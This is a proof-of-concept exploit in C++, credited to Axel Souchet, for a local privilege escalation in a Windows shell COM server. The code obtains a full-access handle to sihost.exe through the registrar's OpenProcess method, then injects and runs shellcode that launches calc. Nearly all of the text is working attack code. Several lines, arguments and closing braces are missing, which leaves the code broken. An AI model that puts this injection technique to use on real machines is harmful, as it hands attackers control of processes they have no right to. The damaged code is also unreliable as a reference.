Microsoft Windows - Shell COM Server Registrar Local Privilege Escalation











// Axel '0vercl0k' Souchet - December 28 2019
// References:
//  - Found by an anonymous researcher, written up by Simon '@HexKitchen' Zuckerbraun
//    -
//  -
//  -

#include <windows.h>
#include <cstdint>
#include <atlbase.h>

// 54E14197-88B0-442F-B9A3-86837061E2FB
// .rdata:0000000000014108 CLSID_CoreShellComServerRegistrar dd 54E14197h  ; Data1
// .rdata:0000000000014108   dw 88B0h                                      ; Data2
// .rdata:0000000000014108   dw 442Fh                                      ; Data3
// .rdata:0000000000014108   db 0B9h, 0A3h, 86h, 83h, 70h, 61h, 0E2h, 0FBh ; Data4
const GUID CLSID_CoreShellComServerRegistrar = {
    0x54e14197, 0x88b0, 0x442f, {
        0xb9, 0xa3, 0x86, 0x83, 0x70, 0x61, 0xe2, 0xfb

// 27EB33A5-77F9-4AFE-AE056-FDBBE720EE7
// .rdata:00000000000140B8 GuidICOMServerRegistrar dd 27EB33A5h          ; Data1
// .rdata:00000000000140B8   dw 77F9h                                    ; Data2
// .rdata:00000000000140B8   dw 4AFEh                                    ; Data3
// .rdata:00000000000140B8   db 0AEh, 5, 6Fh, 0DBh, 0BEh, 72h, 0Eh, 0E7h ; Data4
ICoreShellComServerRegistrar : public IUnknown {
    // 0:015> dqs 00007ff8`3fe526e8
    // [...]
    // 00007ff8`3fe52730  00007ff8`3fe4a5e0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::QueryInterface
    // 00007ff8`3fe52738  00007ff8`3fe4a6d0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::AddRef
    // 00007ff8`3fe52740  00007ff8`3fe4a680 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::Release
    // 00007ff8`3fe52748  00007ff8`3fe47260 CoreShellExtFramework!CoreShellComServerRegistrar::RegisterCOMServer
    // 00007ff8`3fe52750  00007ff8`3fe476b0 CoreShellExtFramework!CoreShellComServerRegistrar::UnregisterCOMServer
    // 00007ff8`3fe52758  00007ff8`3fe477f0 CoreShellExtFramework!CoreShellComServerRegistrar::DuplicateHandle
    // 00007ff8`3fe52760  00007ff8`3fe47920 CoreShellExtFramework!CoreShellComServerRegistrar::OpenProcess
    virtual HRESULT STDMETHODCALLTYPE RegisterCOMServer() = 0;
    virtual HRESULT STDMETHODCALLTYPE UnregisterCOMServer() = 0;
    virtual HRESULT STDMETHODCALLTYPE DuplicateHandle() = 0;
        const uint32_t DesiredAccess,
        const bool InheritHandle,
        const uint32_t ArbitraryPid,
        const uint32_t TargetProcessId,
        HANDLE *ProcessHandle
    ) = 0;

struct Marshalled_t {
    uint32_t Meow;
    uint32_t ObjRefType;
    GUID IfaceId;
    uint32_t Flags;
    uint32_t References;
    uint64_t Oxid;
    uint64_t Oid;
    union {
        uint64_t IfacePointerIdLow;
        struct {
            uint64_t _Dummy1 : 32;
            uint64_t ServerPid : 16;

    uint64_t IfacePointerIdHigh;

int main() {

    // Initialize COM.

    HRESULT Hr = CoInitialize(nullptr);
    if(FAILED(Hr)) {
        printf("Failed to initialize COM.\nThis might be the best thing that happened in your life, carry on and never look back.");
        return EXIT_FAILURE;

    // Instantiate an out-of-proc instance of `ICoreShellComServerRegistrar`.

    CComPtr<ICoreShellComServerRegistrar> ComServerRegistrar;
    Hr = ComServerRegistrar.CoCreateInstance(

    if(FAILED(Hr)) {
        printf("You are probably not vulnerable (%08x) bailing out.", Hr);
        return EXIT_FAILURE;

    // We don't use the copy ctor here to avoid leaking the object as the returned
    // stream already has its refcount bumped by `SHCreateMemStream`.

    CComPtr<IStream> Stream;
    Stream.Attach(SHCreateMemStream(nullptr, 0));

    // Get the marshalled data for the `ICoreShellComServerRegistrar` interface, so
    // that we can extract the PID of the COM server (sihost.exe) in this case.

    Hr = CoMarshalInterface(

    if(FAILED(Hr)) {
        printf("Failed to marshal the interface (%08x) bailing out.", Hr);
        return EXIT_FAILURE;

    // Read the PID out of the blob now.

    const LARGE_INTEGER Origin {};
    Hr = Stream->Seek(Origin, STREAM_SEEK_SET, nullptr);

    uint8_t Buffer[0x1000] {};
    Hr = Stream->Read(Buffer, sizeof(Buffer), nullptr);

    union {
        Marshalled_t *Blob;
        void *Raw;
    } Ptr;

    Ptr.Raw = Buffer;
    const uint32_t SihostPid = Ptr.Blob->ServerPid;

    // Ready to get a `PROCESS_ALL_ACCESS` handle to the server now!

    HANDLE ProcessHandle;
    Hr = ComServerRegistrar->OpenProcess(

    if(FAILED(Hr)) {
        printf("Failed to OpenProcess (%08x) bailing out.", Hr);
        return EXIT_FAILURE;

    // Allocate executable memory in the target.

    const auto ShellcodeAddress = LPTHREAD_START_ROUTINE(VirtualAllocEx(

    if(ShellcodeAddress == nullptr) {
        printf("Failed to VirtualAllocEx memory in the target process (%d) bailing out.", GetLastError());
        return EXIT_FAILURE;

    // This is a CreateProcess(calc) shellcode generated with scc, see

    const uint8_t Shellcode[] {
        0x48, 0x83, 0xc4, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x08, 0x55, 0x48, 0x8b, 0xec,
        0x48, 0x8d, 0x64, 0x24, 0xf0, 0x48, 0x8d, 0x05, 0x42, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0,
        0x6a, 0x00, 0x8f, 0x45, 0xf8, 0x48, 0x8d, 0x05, 0x3a, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x08, 0x48,
        0x8d, 0x55, 0xf0, 0xe8, 0x63, 0x01, 0x00, 0x00, 0xe8, 0xbf, 0x01, 0x00, 0x00, 0xc9, 0xc3, 0x53,
        0x56, 0x57, 0x41, 0x54, 0x55, 0x48, 0x8b, 0xec, 0x6a, 0x60, 0x58, 0x65, 0x48, 0x8b, 0x00, 0x48,
        0x8b, 0x40, 0x18, 0x48, 0x8b, 0x70, 0x10, 0x48, 0x8b, 0x46, 0x30, 0x48, 0x83, 0xf8, 0x00, 0x74,
        0x13, 0xeb, 0x08, 0x4c, 0x8b, 0x06, 0x49, 0x8b, 0xf0, 0xeb, 0xec, 0x45, 0x33, 0xdb, 0x66, 0x45,
        0x33, 0xd2, 0xeb, 0x09, 0x33, 0xc0, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x66, 0x8b, 0x46,
        0x58, 0x66, 0x44, 0x3b, 0xd0, 0x72, 0x11, 0xeb, 0x3c, 0x66, 0x45, 0x8b, 0xc2, 0x66, 0x41, 0x83,
        0xc0, 0x02, 0x66, 0x45, 0x8b, 0xd0, 0xeb, 0xe5, 0x45, 0x8b, 0xcb, 0x41, 0xc1, 0xe9, 0x0d, 0x41,
        0x8b, 0xc3, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc8, 0x41, 0x8b, 0xc1, 0x4c, 0x8b, 0x46, 0x60, 0x45,
        0x0f, 0xb7, 0xca, 0x4d, 0x03, 0xc1, 0x45, 0x8a, 0x00, 0x45, 0x0f, 0xbe, 0xc0, 0x41, 0x83, 0xf8,
        0x61, 0x72, 0x15, 0xeb, 0x07, 0x41, 0x3b, 0xcb, 0x74, 0x16, 0xeb, 0x97, 0x41, 0x83, 0xe8, 0x20,
        0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xb1, 0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xa9,
        0x4c, 0x8b, 0x56, 0x30, 0x41, 0x8b, 0x42, 0x3c, 0x4d, 0x8b, 0xe2, 0x4c, 0x03, 0xe0, 0x41, 0x8b,
        0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x33, 0xdb, 0x41,
        0x8b, 0x41, 0x18, 0x44, 0x3b, 0xd8, 0x72, 0x0b, 0xe9, 0x56, 0xff, 0xff, 0xff, 0x41, 0x83, 0xc3,
        0x01, 0xeb, 0xec, 0x41, 0x8b, 0x41, 0x20, 0x49, 0x8b, 0xda, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc3,
        0x48, 0x8b, 0xc3, 0x4a, 0x8d, 0x04, 0x80, 0x8b, 0x00, 0x49, 0x8b, 0xfa, 0x48, 0x03, 0xf8, 0x33,
        0xc0, 0x48, 0x8b, 0xdf, 0x48, 0x83, 0xc7, 0x01, 0x44, 0x8a, 0x03, 0x41, 0x0f, 0xbe, 0xd8, 0x83,
        0xfb, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x3b, 0xd0, 0x74, 0x17, 0xeb, 0xc1, 0x44, 0x8b, 0xc0, 0x41,
        0xc1, 0xe8, 0x0d, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc0, 0x44, 0x03, 0xc3, 0x41, 0x8b, 0xc0, 0xeb,
        0xd0, 0x41, 0x8b, 0x41, 0x1c, 0x49, 0x8b, 0xd2, 0x48, 0x03, 0xd0, 0x41, 0x8b, 0x41, 0x24, 0x4d,
        0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x8b, 0xc3, 0x49, 0x8b, 0xc1, 0x4a, 0x8d, 0x04, 0x40, 0x66,
        0x8b, 0x00, 0x0f, 0xb7, 0xc8, 0x48, 0x8b, 0xc2, 0x48, 0x8d, 0x04, 0x88, 0x8b, 0x00, 0x4c, 0x03,
        0xd0, 0x49, 0x8b, 0xc2, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x53, 0x56, 0x57, 0x41, 0x54,
        0x55, 0x48, 0x8b, 0xec, 0x48, 0x8b, 0xf1, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0x03, 0x48, 0x83, 0xf8,
        0x00, 0x74, 0x0e, 0x48, 0x8b, 0xc6, 0x48, 0x83, 0xc6, 0x04, 0x44, 0x8b, 0x20, 0x33, 0xff, 0xeb,
        0x07, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x8b, 0x06, 0x41, 0x8b, 0xcc, 0x8b, 0xd0, 0xe8,
        0x6b, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xd0, 0x48, 0x83, 0xfa, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x48,
        0x83, 0xc3, 0x08, 0xeb, 0xc5, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc7, 0x01, 0x48,
        0x8d, 0x04, 0xc8, 0x48, 0x89, 0x10, 0x48, 0x83, 0xc6, 0x04, 0xeb, 0xcc, 0x57, 0x55, 0x48, 0x8b,
        0xec, 0x48, 0x8d, 0xa4, 0x24, 0x78, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xbd, 0x78, 0xff, 0xff, 0xff,
        0x32, 0xc0, 0x6a, 0x68, 0x59, 0xf3, 0xaa, 0xc7, 0x85, 0x78, 0xff, 0xff, 0xff, 0x68, 0x00, 0x00,
        0x00, 0x48, 0x8d, 0x05, 0x4a, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x10, 0x4c, 0x8d, 0x95, 0x78, 0xff,
        0xff, 0xff, 0x48, 0x8d, 0x45, 0xe0, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, 0x50, 0x41,
        0x52, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d,
        0x05, 0x09, 0x00, 0x00, 0x00, 0xff, 0x10, 0x48, 0x83, 0xc4, 0x50, 0xc9, 0x5f, 0xc3, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xca, 0x2b, 0x6e, 0x72, 0xfe, 0xb3, 0x16, 0x00, 0x00,
        0x00, 0x00, 0x63, 0x61, 0x6c, 0x63, 0x00

    )) {
        printf("Failed to WriteProcessMemory in the target process (%d) bailing out.", GetLastError());

        // At least clean up the remote process D:

        VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE);
        return EXIT_FAILURE;

    // Creating a remote thread on the shellcode now.

    DWORD ThreadId;
    HANDLE ThreadHandle = CreateRemoteThread(

    // Waiting for the thread to end..

    WaitForSingleObject(ThreadHandle, INFINITE);

    // All right, we are done here, let's clean up and exit.

    VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE);
    printf("Payload has been successfully injected in %d.", SihostPid);
    return EXIT_SUCCESS;